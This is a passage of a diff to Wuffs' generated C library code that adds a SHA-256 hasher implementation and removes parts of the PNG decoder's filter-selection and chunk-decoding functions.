0u); ++} ++ ++#endif // !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__QOI) ++ ++#if !defined(WUFFS_CONFIG__MODULES) || defined(WUFFS_CONFIG__MODULE__SHA256) ++ ++// ---------------- Status Codes Implementations ++ ++// ---------------- Private Consts ++ ++static const uint32_t ++WUFFS_SHA256__INITIAL_SHA256_H[8] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1779033703u, 3144134277u, 1013904242u, 2773480762u, 1359893119u, 2600822924u, 528734635u, 1541459225u, ++}; ++ ++static const uint32_t ++WUFFS_SHA256__K[64] WUFFS_BASE__POTENTIALLY_UNUSED = { ++ 1116352408u, 1899447441u, 3049323471u, 3921009573u, 961987163u, 1508970993u, 2453635748u, 2870763221u, ++ 3624381080u, 310598401u, 607225278u, 1426881987u, 1925078388u, 2162078206u, 2614888103u, 3248222580u, ++ 3835390401u, 4022224774u, 264347078u, 604807628u, 770255983u, 1249150122u, 1555081692u, 1996064986u, ++ 2554220882u, 2821834349u, 2952996808u, 3210313671u, 3336571891u, 3584528711u, 113926993u, 338241895u, ++ 666307205u, 773529912u, 1294757372u, 1396182291u, 1695183700u, 1986661051u, 2177026350u, 2456956037u, ++ 2730485921u, 2820302411u, 3259730800u, 3345764771u, 3516065817u, 3600352804u, 4094571909u, 275423344u, ++ 430227734u, 506948616u, 659060556u, 883997877u, 958139571u, 1322822218u, 1537002063u, 1747873779u, ++ 1955562222u, 2024104815u, 2227730452u, 2361852424u, 2428436474u, 2756734187u, 3204031479u, 3329325298u, ++}; ++ ++// ---------------- Private Initializer Prototypes ++ ++// ---------------- Private Function Prototypes + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_png__decoder__assign_filter_distance( +- wuffs_png__decoder* self) { +- if (self->private_impl.f_depth < 8u) { +- if ((self->private_impl.f_depth != 1u) && (self->private_impl.f_depth != 2u) && (self->private_impl.f_depth != 4u)) { +- return wuffs_base__make_empty_struct(); +- } else if (self->private_impl.f_color_type == 0u) { +- self->private_impl.f_dst_pixfmt = 536870920u; +- self->private_impl.f_src_pixfmt = 536870920u; +- } else if (self->private_impl.f_color_type == 3u) { +- self->private_impl.f_dst_pixfmt = 2198077448u; +- self->private_impl.f_src_pixfmt = 2198077448u; ++wuffs_sha256__hasher__up( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x); ++ ++// ---------------- VTables ++ ++const wuffs_base__hasher_bitvec256__func_ptrs ++wuffs_sha256__hasher__func_ptrs_for__wuffs_base__hasher_bitvec256 = { ++ (wuffs_base__bitvec256(*)(const void*))(&wuffs_sha256__hasher__checksum_bitvec256), ++ (uint64_t(*)(const void*, ++ uint32_t))(&wuffs_sha256__hasher__get_quirk), ++ (wuffs_base__status(*)(void*, ++ uint32_t, ++ uint64_t))(&wuffs_sha256__hasher__set_quirk), ++ (wuffs_base__empty_struct(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_sha256__hasher__update), ++ (wuffs_base__bitvec256(*)(void*, ++ wuffs_base__slice_u8))(&wuffs_sha256__hasher__update_bitvec256), ++}; ++ ++// ---------------- Initializer Implementations ++ ++wuffs_base__status WUFFS_BASE__WARN_UNUSED_RESULT ++wuffs_sha256__hasher__initialize( ++ wuffs_sha256__hasher* self, ++ size_t sizeof_star_self, ++ uint64_t wuffs_version, ++ uint32_t options){ ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (sizeof(*self) != sizeof_star_self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_sizeof_receiver); ++ } ++ if (((wuffs_version >> 32) != WUFFS_VERSION_MAJOR) || ++ (((wuffs_version >> 16) & 0xFFFF) > WUFFS_VERSION_MINOR)) { ++ return wuffs_base__make_status(wuffs_base__error__bad_wuffs_version); ++ } ++ ++ if ((options & WUFFS_INITIALIZE__ALREADY_ZEROED) != 0) { ++ // The whole point of this if-check is to detect an uninitialized *self. ++ // We disable the warning on GCC. Clang-5.0 does not have this warning. ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic push ++#pragma GCC diagnostic ignored "-Wmaybe-uninitialized" ++#endif ++ if (self->private_impl.magic != 0) { ++ return wuffs_base__make_status(wuffs_base__error__initialize_falsely_claimed_already_zeroed); ++ } ++#if !defined(__clang__) && defined(__GNUC__) ++#pragma GCC diagnostic pop ++#endif ++ } else { ++ if ((options & WUFFS_INITIALIZE__LEAVE_INTERNAL_BUFFERS_UNINITIALIZED) == 0) { ++ memset(self, 0, sizeof(*self)); ++ options |= WUFFS_INITIALIZE__ALREADY_ZEROED; + } else { +- return wuffs_base__make_empty_struct(); ++ memset(&(self->private_impl), 0, sizeof(self->private_impl)); + } +- self->private_impl.f_filter_distance = 1u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } else if (self->private_impl.f_color_type == 0u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 536870920u; +- self->private_impl.f_src_pixfmt = 536870920u; +- self->private_impl.f_filter_distance = 1u; +- } else if (self->private_impl.f_depth == 16u) { +- if (self->private_impl.f_interlace_pass == 0u) { +- self->private_impl.f_dst_pixfmt = 536870923u; +- self->private_impl.f_src_pixfmt = 537919499u; +- } else { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; ++ } ++ ++ self->private_impl.magic = WUFFS_BASE__MAGIC; ++ self->private_impl.vtable_for__wuffs_base__hasher_bitvec256.vtable_name = ++ wuffs_base__hasher_bitvec256__vtable_name; ++ self->private_impl.vtable_for__wuffs_base__hasher_bitvec256.function_pointers = ++ (const void*)(&wuffs_sha256__hasher__func_ptrs_for__wuffs_base__hasher_bitvec256); ++ return wuffs_base__make_status(NULL); ++} ++ ++wuffs_sha256__hasher* ++wuffs_sha256__hasher__alloc(void) { ++ wuffs_sha256__hasher* x = ++ (wuffs_sha256__hasher*)(calloc(1, sizeof(wuffs_sha256__hasher))); ++ if (!x) { ++ return NULL; ++ } ++ if (wuffs_sha256__hasher__initialize( ++ x, sizeof(wuffs_sha256__hasher), WUFFS_VERSION, WUFFS_INITIALIZE__ALREADY_ZEROED).repr) { ++ free(x); ++ return NULL; ++ } ++ return x; ++} ++ ++size_t ++sizeof__wuffs_sha256__hasher(void) { ++ return sizeof(wuffs_sha256__hasher); ++} ++ ++// ---------------- Function Implementations ++ ++// -------- func sha256.hasher.get_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC uint64_t ++wuffs_sha256__hasher__get_quirk( ++ const wuffs_sha256__hasher* self, ++ uint32_t a_key) { ++ if (!self) { ++ return 0; ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return 0; ++ } ++ ++ return 0u; ++} ++ ++// -------- func sha256.hasher.set_quirk ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__status ++wuffs_sha256__hasher__set_quirk( ++ wuffs_sha256__hasher* self, ++ uint32_t a_key, ++ uint64_t a_value) { ++ if (!self) { ++ return wuffs_base__make_status(wuffs_base__error__bad_receiver); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_status( ++ (self->private_impl.magic == WUFFS_BASE__DISABLED) ++ ? wuffs_base__error__disabled_by_previous_error ++ : wuffs_base__error__initialize_not_called); ++ } ++ ++ return wuffs_base__make_status(wuffs_base__error__unsupported_option); ++} ++ ++// -------- func sha256.hasher.update ++ ++WUFFS_BASE__GENERATED_C_CODE ++WUFFS_BASE__MAYBE_STATIC wuffs_base__empty_struct ++wuffs_sha256__hasher__update( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__make_empty_struct(); ++ } ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__make_empty_struct(); ++ } ++ ++ uint64_t v_new_lmu = 0; ++ ++ if ((self->private_impl.f_length_modulo_u64 == 0u) && ! self->private_impl.f_length_overflows_u64) { ++ self->private_impl.f_h0 = WUFFS_SHA256__INITIAL_SHA256_H[0u]; ++ self->private_impl.f_h1 = WUFFS_SHA256__INITIAL_SHA256_H[1u]; ++ self->private_impl.f_h2 = WUFFS_SHA256__INITIAL_SHA256_H[2u]; ++ self->private_impl.f_h3 = WUFFS_SHA256__INITIAL_SHA256_H[3u]; ++ self->private_impl.f_h4 = WUFFS_SHA256__INITIAL_SHA256_H[4u]; ++ self->private_impl.f_h5 = WUFFS_SHA256__INITIAL_SHA256_H[5u]; ++ self->private_impl.f_h6 = WUFFS_SHA256__INITIAL_SHA256_H[6u]; ++ self->private_impl.f_h7 = WUFFS_SHA256__INITIAL_SHA256_H[7u]; ++ } ++ v_new_lmu = ((uint64_t)(self->private_impl.f_length_modulo_u64 + ((uint64_t)(a_x.len)))); ++ self->private_impl.f_length_overflows_u64 = ((v_new_lmu < self->private_impl.f_length_modulo_u64) || self->private_impl.f_length_overflows_u64); ++ self->private_impl.f_length_modulo_u64 = v_new_lmu; ++ if (self->private_impl.f_buf_len != 0u) { ++ while (self->private_impl.f_buf_len < 64u) { ++ if (((uint64_t)(a_x.len)) <= 0u) { ++ return wuffs_base__make_empty_struct(); + } +- self->private_impl.f_filter_distance = 2u; +- } +- } else if (self->private_impl.f_color_type == 2u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 2147485832u; +- self->private_impl.f_src_pixfmt = 2684356744u; +- self->private_impl.f_filter_distance = 3u; +- } else if (self->private_impl.f_depth == 16u) { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- self->private_impl.f_filter_distance = 6u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } +- } else if (self->private_impl.f_color_type == 3u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 2198077448u; +- self->private_impl.f_src_pixfmt = 2198077448u; +- self->private_impl.f_filter_distance = 1u; +- } +- } else if (self->private_impl.f_color_type == 4u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 2164295816u; +- self->private_impl.f_src_pixfmt = 2164295816u; +- self->private_impl.f_filter_distance = 2u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } else if (self->private_impl.f_depth == 16u) { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- self->private_impl.f_filter_distance = 4u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); +- } +- } else if (self->private_impl.f_color_type == 6u) { +- if (self->private_impl.f_depth == 8u) { +- self->private_impl.f_dst_pixfmt = 2164295816u; +- self->private_impl.f_src_pixfmt = 2701166728u; +- self->private_impl.f_filter_distance = 4u; +- } else if (self->private_impl.f_depth == 16u) { +- self->private_impl.f_dst_pixfmt = 2164308923u; +- self->private_impl.f_src_pixfmt = 2164308923u; +- self->private_impl.f_filter_distance = 8u; +- self->private_impl.choosy_filter_and_swizzle = ( +- &wuffs_png__decoder__filter_and_swizzle_tricky); ++ self->private_impl.f_buf_data[self->private_impl.f_buf_len] = a_x.ptr[0u]; ++ self->private_impl.f_buf_len += 1u; ++ a_x = wuffs_base__slice_u8__subslice_i(a_x, 1u); + } ++ self->private_impl.f_buf_len = 0u; ++ wuffs_sha256__hasher__up(self, wuffs_base__make_slice_u8(self->private_impl.f_buf_data, 64)); + } ++ wuffs_sha256__hasher__up(self, a_x); + return wuffs_base__make_empty_struct(); + } + +-// -------- func png.decoder.calculate_bytes_per_row ++// -------- func sha256.hasher.update_bitvec256 + + WUFFS_BASE__GENERATED_C_CODE +-static uint64_t +-wuffs_png__decoder__calculate_bytes_per_row( +- const wuffs_png__decoder* self, +- uint32_t a_width) { +- uint64_t v_bytes_per_channel = 0; +- +- if (self->private_impl.f_depth == 1u) { +- return ((uint64_t)(((a_width + 7u) / 8u))); +- } else if (self->private_impl.f_depth == 2u) { +- return ((uint64_t)(((a_width + 3u) / 4u))); +- } else if (self->private_impl.f_depth == 4u) { +- return ((uint64_t)(((a_width + 1u) / 2u))); ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_sha256__hasher__update_bitvec256( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ if (!self) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } +- v_bytes_per_channel = ((uint64_t)((self->private_impl.f_depth >> 3u))); +- return (((uint64_t)(a_width)) * v_bytes_per_channel * ((uint64_t)(WUFFS_PNG__NUM_CHANNELS[self->private_impl.f_color_type]))); ++ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++ } ++ ++ wuffs_sha256__hasher__update(self, a_x); ++ return wuffs_sha256__hasher__checksum_bitvec256(self); + } + +-// -------- func png.decoder.choose_filter_implementations ++// -------- func sha256.hasher.up + + WUFFS_BASE__GENERATED_C_CODE + static wuffs_base__empty_struct +-wuffs_png__decoder__choose_filter_implementations( +- wuffs_png__decoder* self) { +- if (self->private_impl.f_filter_distance == 3u) { +- self->private_impl.choosy_filter_1 = ( +- &wuffs_png__decoder__filter_1_distance_3_fallback); +- self->private_impl.choosy_filter_3 = ( +- &wuffs_png__decoder__filter_3_distance_3_fallback); +- self->private_impl.choosy_filter_4 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_3_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_3_x86_sse42 : +-#endif +- &wuffs_png__decoder__filter_4_distance_3_fallback); +- } else if (self->private_impl.f_filter_distance == 4u) { +- self->private_impl.choosy_filter_1 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_1_distance_4_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_1_distance_4_x86_sse42 : +-#endif +- &wuffs_png__decoder__filter_1_distance_4_fallback); +- self->private_impl.choosy_filter_3 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_3_distance_4_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_3_distance_4_x86_sse42 : +-#endif +- &wuffs_png__decoder__filter_3_distance_4_fallback); +- self->private_impl.choosy_filter_4 = ( +-#if defined(WUFFS_BASE__CPU_ARCH__ARM_NEON) +- wuffs_base__cpu_arch__have_arm_neon() ? &wuffs_png__decoder__filter_4_distance_4_arm_neon : +-#endif +-#if defined(WUFFS_BASE__CPU_ARCH__X86_FAMILY) +- wuffs_base__cpu_arch__have_x86_sse42() ? &wuffs_png__decoder__filter_4_distance_4_x86_sse42 : +-#endif +- &wuffs_png__decoder__filter_4_distance_4_fallback); ++wuffs_sha256__hasher__up( ++ wuffs_sha256__hasher* self, ++ wuffs_base__slice_u8 a_x) { ++ wuffs_base__slice_u8 v_p = {0}; ++ uint32_t v_w[64] = {0}; ++ uint32_t v_w2 = 0; ++ uint32_t v_w15 = 0; ++ uint32_t v_s0 = 0; ++ uint32_t v_s1 = 0; ++ uint32_t v_t1 = 0; ++ uint32_t v_t2 = 0; ++ uint32_t v_a = 0; ++ uint32_t v_b = 0; ++ uint32_t v_c = 0; ++ uint32_t v_d = 0; ++ uint32_t v_e = 0; ++ uint32_t v_f = 0; ++ uint32_t v_g = 0; ++ uint32_t v_h = 0; ++ uint32_t v_i = 0; ++ uint32_t v_buf_len = 0; ++ ++ v_a = self->private_impl.f_h0; ++ v_b = self->private_impl.f_h1; ++ v_c = self->private_impl.f_h2; ++ v_d = self->private_impl.f_h3; ++ v_e = self->private_impl.f_h4; ++ v_f = self->private_impl.f_h5; ++ v_g = self->private_impl.f_h6; ++ v_h = self->private_impl.f_h7; ++ { ++ wuffs_base__slice_u8 i_slice_p = a_x; ++ v_p.ptr = i_slice_p.ptr; ++ v_p.len = 64; ++ const uint8_t* i_end0_p = wuffs_private_impl__ptr_u8_plus_len(v_p.ptr, (((i_slice_p.len - (size_t)(v_p.ptr - i_slice_p.ptr)) / 64) * 64)); ++ while (v_p.ptr < i_end0_p) { ++ v_w[0u] = ((((uint32_t)(v_p.ptr[0u])) << 24u) | ++ (((uint32_t)(v_p.ptr[1u])) << 16u) | ++ (((uint32_t)(v_p.ptr[2u])) << 8u) | ++ ((uint32_t)(v_p.ptr[3u]))); ++ v_w[1u] = ((((uint32_t)(v_p.ptr[4u])) << 24u) | ++ (((uint32_t)(v_p.ptr[5u])) << 16u) | ++ (((uint32_t)(v_p.ptr[6u])) << 8u) | ++ ((uint32_t)(v_p.ptr[7u]))); ++ v_w[2u] = ((((uint32_t)(v_p.ptr[8u])) << 24u) | ++ (((uint32_t)(v_p.ptr[9u])) << 16u) | ++ (((uint32_t)(v_p.ptr[10u])) << 8u) | ++ ((uint32_t)(v_p.ptr[11u]))); ++ v_w[3u] = ((((uint32_t)(v_p.ptr[12u])) << 24u) | ++ (((uint32_t)(v_p.ptr[13u])) << 16u) | ++ (((uint32_t)(v_p.ptr[14u])) << 8u) | ++ ((uint32_t)(v_p.ptr[15u]))); ++ v_w[4u] = ((((uint32_t)(v_p.ptr[16u])) << 24u) | ++ (((uint32_t)(v_p.ptr[17u])) << 16u) | ++ (((uint32_t)(v_p.ptr[18u])) << 8u) | ++ ((uint32_t)(v_p.ptr[19u]))); ++ v_w[5u] = ((((uint32_t)(v_p.ptr[20u])) << 24u) | ++ (((uint32_t)(v_p.ptr[21u])) << 16u) | ++ (((uint32_t)(v_p.ptr[22u])) << 8u) | ++ ((uint32_t)(v_p.ptr[23u]))); ++ v_w[6u] = ((((uint32_t)(v_p.ptr[24u])) << 24u) | ++ (((uint32_t)(v_p.ptr[25u])) << 16u) | ++ (((uint32_t)(v_p.ptr[26u])) << 8u) | ++ ((uint32_t)(v_p.ptr[27u]))); ++ v_w[7u] = ((((uint32_t)(v_p.ptr[28u])) << 24u) | ++ (((uint32_t)(v_p.ptr[29u])) << 16u) | ++ (((uint32_t)(v_p.ptr[30u])) << 8u) | ++ ((uint32_t)(v_p.ptr[31u]))); ++ v_w[8u] = ((((uint32_t)(v_p.ptr[32u])) << 24u) | ++ (((uint32_t)(v_p.ptr[33u])) << 16u) | ++ (((uint32_t)(v_p.ptr[34u])) << 8u) | ++ ((uint32_t)(v_p.ptr[35u]))); ++ v_w[9u] = ((((uint32_t)(v_p.ptr[36u])) << 24u) | ++ (((uint32_t)(v_p.ptr[37u])) << 16u) | ++ (((uint32_t)(v_p.ptr[38u])) << 8u) | ++ ((uint32_t)(v_p.ptr[39u]))); ++ v_w[10u] = ((((uint32_t)(v_p.ptr[40u])) << 24u) | ++ (((uint32_t)(v_p.ptr[41u])) << 16u) | ++ (((uint32_t)(v_p.ptr[42u])) << 8u) | ++ ((uint32_t)(v_p.ptr[43u]))); ++ v_w[11u] = ((((uint32_t)(v_p.ptr[44u])) << 24u) | ++ (((uint32_t)(v_p.ptr[45u])) << 16u) | ++ (((uint32_t)(v_p.ptr[46u])) << 8u) | ++ ((uint32_t)(v_p.ptr[47u]))); ++ v_w[12u] = ((((uint32_t)(v_p.ptr[48u])) << 24u) | ++ (((uint32_t)(v_p.ptr[49u])) << 16u) | ++ (((uint32_t)(v_p.ptr[50u])) << 8u) | ++ ((uint32_t)(v_p.ptr[51u]))); ++ v_w[13u] = ((((uint32_t)(v_p.ptr[52u])) << 24u) | ++ (((uint32_t)(v_p.ptr[53u])) << 16u) | ++ (((uint32_t)(v_p.ptr[54u])) << 8u) | ++ ((uint32_t)(v_p.ptr[55u]))); ++ v_w[14u] = ((((uint32_t)(v_p.ptr[56u])) << 24u) | ++ (((uint32_t)(v_p.ptr[57u])) << 16u) | ++ (((uint32_t)(v_p.ptr[58u])) << 8u) | ++ ((uint32_t)(v_p.ptr[59u]))); ++ v_w[15u] = ((((uint32_t)(v_p.ptr[60u])) << 24u) | ++ (((uint32_t)(v_p.ptr[61u])) << 16u) | ++ (((uint32_t)(v_p.ptr[62u])) << 8u) | ++ ((uint32_t)(v_p.ptr[63u]))); ++ v_i = 16u; ++ while (v_i < 64u) { ++ v_w2 = v_w[(v_i - 2u)]; ++ v_s1 = ((v_w2 >> 10u) ^ (((uint32_t)(v_w2 << 15u)) | (v_w2 >> 17u)) ^ (((uint32_t)(v_w2 << 13u)) | (v_w2 >> 19u))); ++ v_w15 = v_w[(v_i - 15u)]; ++ v_s0 = ((v_w15 >> 3u) ^ (((uint32_t)(v_w15 << 25u)) | (v_w15 >> 7u)) ^ (((uint32_t)(v_w15 << 14u)) | (v_w15 >> 18u))); ++ v_w[v_i] = ((uint32_t)(((uint32_t)(((uint32_t)(v_s1 + v_w[(v_i - 7u)])) + v_s0)) + v_w[(v_i - 16u)])); ++ v_i += 1u; ++ } ++ v_i = 0u; ++ while (v_i < 64u) { ++ v_t1 = v_h; ++ v_t1 += ((((uint32_t)(v_e << 26u)) | (v_e >> 6u)) ^ (((uint32_t)(v_e << 21u)) | (v_e >> 11u)) ^ (((uint32_t)(v_e << 7u)) | (v_e >> 25u))); ++ v_t1 += ((v_e & v_f) ^ ((4294967295u ^ v_e) & v_g)); ++ v_t1 += WUFFS_SHA256__K[v_i]; ++ v_t1 += v_w[v_i]; ++ v_t2 = ((((uint32_t)(v_a << 30u)) | (v_a >> 2u)) ^ (((uint32_t)(v_a << 19u)) | (v_a >> 13u)) ^ (((uint32_t)(v_a << 10u)) | (v_a >> 22u))); ++ v_t2 += ((v_a & v_b) ^ (v_a & v_c) ^ (v_b & v_c)); ++ v_h = v_g; ++ v_g = v_f; ++ v_f = v_e; ++ v_e = ((uint32_t)(v_d + v_t1)); ++ v_d = v_c; ++ v_c = v_b; ++ v_b = v_a; ++ v_a = ((uint32_t)(v_t1 + v_t2)); ++ v_i += 1u; ++ } ++ v_a += self->private_impl.f_h0; ++ self->private_impl.f_h0 = v_a; ++ v_b += self->private_impl.f_h1; ++ self->private_impl.f_h1 = v_b; ++ v_c += self->private_impl.f_h2; ++ self->private_impl.f_h2 = v_c; ++ v_d += self->private_impl.f_h3; ++ self->private_impl.f_h3 = v_d; ++ v_e += self->private_impl.f_h4; ++ self->private_impl.f_h4 = v_e; ++ v_f += self->private_impl.f_h5; ++ self->private_impl.f_h5 = v_f; ++ v_g += self->private_impl.f_h6; ++ self->private_impl.f_h6 = v_g; ++ v_h += self->private_impl.f_h7; ++ self->private_impl.f_h7 = v_h; ++ v_p.ptr += 64; ++ } ++ v_p.len = 1; ++ const uint8_t* i_end1_p = wuffs_private_impl__ptr_u8_plus_len(i_slice_p.ptr, i_slice_p.len); ++ while (v_p.ptr < i_end1_p) { ++ self->private_impl.f_buf_data[v_buf_len] = v_p.ptr[0u]; ++ v_buf_len = ((v_buf_len + 1u) & 63u); ++ v_p.ptr += 1; ++ } ++ v_p.len = 0; + } ++ self->private_impl.f_buf_len = ((uint32_t)((((uint64_t)(a_x.len)) & 63u))); + return wuffs_base__make_empty_struct(); + } + +-// -------- func png.decoder.decode_other_chunk ++// -------- func sha256.hasher.checksum_bitvec256 + + WUFFS_BASE__GENERATED_C_CODE +-static wuffs_base__status +-wuffs_png__decoder__decode_other_chunk( +- wuffs_png__decoder* self, +- wuffs_base__io_buffer* a_src, +- bool a_framy) { +- wuffs_base__status status = wuffs_base__make_status(NULL); +- +- const uint8_t* iop_a_src = NULL; +- const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; +- if (a_src && a_src->data.ptr) { +- io0_a_src = a_src->data.ptr; +- io1_a_src = io0_a_src + a_src->meta.ri; +- iop_a_src = io1_a_src; +- io2_a_src = io0_a_src + a_src->meta.wi; ++WUFFS_BASE__MAYBE_STATIC wuffs_base__bitvec256 ++wuffs_sha256__hasher__checksum_bitvec256( ++ const wuffs_sha256__hasher* self) { ++ if (!self) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); ++ } ++ if ((self->private_impl.magic != WUFFS_BASE__MAGIC) && ++ (self->private_impl.magic != WUFFS_BASE__DISABLED)) { ++ return wuffs_base__utility__make_bitvec256(0u, 0u, 0u, 0u); + } + +- uint32_t coro_susp_point = self->private_impl.p_decode_other_chunk[0]; +- switch (coro_susp_point) { +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; ++ uint32_t v_buf_len = 0; ++ uint8_t v_buf_data[64] = {0}; ++ uint64_t v_length_in_bits = 0; ++ uint32_t v_w[64] = {0}; ++ uint32_t v_w2 = 0; ++ uint32_t v_w15 = 0; ++ uint32_t v_s0 = 0; ++ uint32_t v_s1 = 0; ++ uint32_t v_t1 = 0; ++ uint32_t v_t2 = 0; ++ uint32_t v_h0 = 0; ++ uint32_t v_h1 = 0; ++ uint32_t v_h2 = 0; ++ uint32_t v_h3 = 0; ++ uint32_t v_h4 = 0; ++ uint32_t v_h5 = 0; ++ uint32_t v_h6 = 0; ++ uint32_t v_h7 = 0; ++ uint32_t v_a = 0; ++ uint32_t v_b = 0; ++ uint32_t v_c = 0; ++ uint32_t v_d = 0; ++ uint32_t v_e = 0; ++ uint32_t v_f = 0; ++ uint32_t v_g = 0; ++ uint32_t v_h = 0; ++ uint32_t v_i = 0; ++ bool v_final_block = false; + +- if ((self->private_impl.f_chunk_type == 1163152464u) && ! a_framy) { +- if (self->private_impl.f_seen_plte) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } else if (self->private_impl.f_color_type == 3u) { +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); +- status = wuffs_png__decoder__decode_plte(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- } else if ((self->private_impl.f_color_type == 2u) || (self->private_impl.f_color_type == 6u)) { +- } else { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- self->private_impl.f_seen_plte = true; +- } else if ((self->private_impl.f_chunk_type & 32u) == 0u) { +- if (self->private_impl.f_chunk_type != 1413563465u) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } ++ v_i = 0u; ++ while (v_i < 64u) { ++ v_buf_data[v_i] = self->private_impl.f_buf_data[v_i]; ++ v_i += 1u; ++ } ++ v_buf_len = (self->private_impl.f_buf_len & 63u); ++ if (v_buf_len < 56u) { ++ v_buf_data[v_buf_len] = 128u; ++ v_buf_len += 1u; ++ while (v_buf_len < 56u) { ++ v_buf_data[v_buf_len] = 0u; ++ v_buf_len += 1u; + } +- if (self->private_impl.f_chunk_type == 1716082789u) { +- if (self->private_impl.f_report_metadata_exif) { +- if (self->private_impl.f_seen_exif) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); +- status = wuffs_png__decoder__decode_exif(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_exif = true; +- } +- } else if ((self->private_impl.f_chunk_type == 1951945833u) || (self->private_impl.f_chunk_type == 1951942004u) || (self->private_impl.f_chunk_type == 1951945850u)) { +- if (self->private_impl.f_report_metadata_kvp) { +- self->private_impl.f_metadata_flavor = 4u; +- self->private_impl.f_metadata_fourcc = 1263947851u; +- self->private_impl.f_metadata_x = 0u; +- self->private_impl.f_metadata_y = 0u; +- self->private_impl.f_metadata_z = 0u; +- } +- } else if ( ! a_framy) { +- if (self->private_impl.f_chunk_type == 1280598881u) { +- if (self->private_impl.f_seen_actl) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(3); +- status = wuffs_png__decoder__decode_actl(self, a_src); +- if (a_src) { +- iop_a_src = a_src->data.ptr + a_src->meta.ri; +- } +- if (status.repr) { +- goto suspend; +- } +- self->private_impl.f_seen_actl = true; +- } else if (self->private_impl.f_chunk_type == 1297238115u) { +- if (self->private_impl.f_report_metadata_chrm) { +- if (self->private_impl.f_seen_chrm) { +- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); +- goto exit; +- } +- if (a_src) { +- a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); +- } +- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(4); +- status = 